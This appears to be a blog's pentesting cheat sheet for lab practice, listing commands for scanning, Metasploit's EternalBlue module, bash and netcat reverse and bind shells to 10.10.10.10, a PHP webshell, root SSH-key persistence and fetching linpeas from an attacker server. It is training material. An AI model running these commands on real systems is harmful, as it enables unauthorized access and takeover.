hi@hectortoral.com

3 min read

Basic Tools

CommandDescription
General
sudo openvpn user.ovpnConnect to VPN
ifconfig/ip aShow our IP address
netstat -rnShow networks accessible via the VPN
ssh user@10.10.10.10SSH to a remote server
ftp 10.129.42.253FTP to a remote server
tmux
tmuxStart tmux
ctrl+btmux: default prefix
prefix ctmux: new window
prefix 1tmux: switch to window (1)
prefix shift+%tmux: split pane vertically
prefix shift+"tmux: split pane horizontally
prefix ->tmux: switch to the right pane
Vim
vim filevim: open file with vim
esc+ivim: enter insert mode
escvim: back to normal mode
xvim: Cut character
dwvim: Cut word
ddvim: Cut full line
ywvim: Copy word
yyvim: Copy full line
pvim: Paste
:1vim: Go to line number 1.
:wvim: Write the file ‘i.e. save’
:qvim: Quit
:q!vim: Quit without saving
:wqvim: Write and quit

Pentesting

CommandDescription
Service Scanning
nmap 10.129.42.253Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253Run an nmap script scan on an IP
locate scripts/citrixList various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40Run an nmap script on an IP
netcat 10.10.10.10 22Grab banner of an open port
smbclient -N -L \\\\10.129.42.253List SMB Shares
smbclient \\\\10.129.42.253\\usersConnect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254Brute force SNMP secret string
Web Enumeration
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txtRun a directory scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txtRun a sub-domain scan on a website
curl -IL https://www.inlanefreight.comGrab website banner
whatweb 10.10.10.121List details about the webserver/certificates
curl 10.10.10.121/robots.txtList potential directories in robots.txt
ctrl+UView page source (in Firefox)
Public Exploits
searchsploit openssh 7.2Search for public exploits for a web application
msfconsoleMSF: Start the Metasploit Framework
search exploit eternalblueMSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexecMSF: Start using an MSF module
show optionsMSF: Show required options for an MSF module
set RHOSTS 10.10.10.40MSF: Set a value for an MSF module option
checkMSF: Test if the target server is vulnerable
exploitMSF: Run the exploit on the target server is vulnerable
Using Shells
nc -lvnp 1234Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'Send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/fAnother command to send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/fStart a bind shell on the remote server
nc 10.10.10.1 1234Connect to a bind shell started on the remote server
python -c 'import pty; pty.spawn("/bin/bash")'Upgrade shell TTY (1)
ctrl+z then stty raw -echo then fg then enter twiceUpgrade shell TTY (2)
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.phpCreate a webshell php file
curl http://SERVER_IP:PORT/shell.php?cmd=idExecute a command on an uploaded webshell
Privilege Escalation
./linpeas.shRun linpeas script to enumerate remote server
sudo -lList available sudo privileges
sudo -u user /bin/echo Hello World!Run a command with sudo
sudo su -Switch to root user (if we have access to sudo su)
sudo su user -Switch to a user (if we have access to sudo su)
ssh-keygen -f keyCreate a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keysAdd the generated public key to the user
ssh root@10.10.10.10 -i keySSH to the server with the generated private key
Transferring Files
python3 -m http.server 8000Start a local webserver
wget http://10.10.14.1:8000/linpeas.shDownload a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.shDownload a file on the remote server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.shTransfer a file to the remote server with scp (requires SSH access)
base64 shell -w 0Convert a file to base64
echo f0VMR...SNIO...InmDwU | base64 -d > shellConvert a file from base64 back to its orig
md5sum shellCheck the file’s md5sum to ensure it converted correctly